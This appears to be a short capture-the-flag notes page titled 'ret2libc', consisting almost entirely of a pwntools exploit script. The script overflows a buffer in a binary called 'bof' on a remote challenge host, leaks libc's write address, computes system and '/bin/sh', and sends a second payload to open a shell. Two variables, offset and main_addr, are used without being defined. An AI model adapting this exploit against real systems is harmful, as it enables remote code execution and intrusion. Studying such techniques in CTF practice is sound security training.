0%

ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p=remote('node3.buuoj.cn',29610)
elf=ELF('./bof')
libc=ELF('../libc-2.23_32.so')
p.recv()
payload=p8(0)*(offset+4)+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(4)

p.sendline(payload)

libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.symbols['write']
system_addr=libc_base+libc.symbols['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
print(hex(libc_base))
print(hex(bin_sh))
print(hex(system_addr))
payload=b'p'*(offset+4)+p32(system_addr)+b'dead'+p32(bin_sh)
p.sendline(payload)

p.interactive()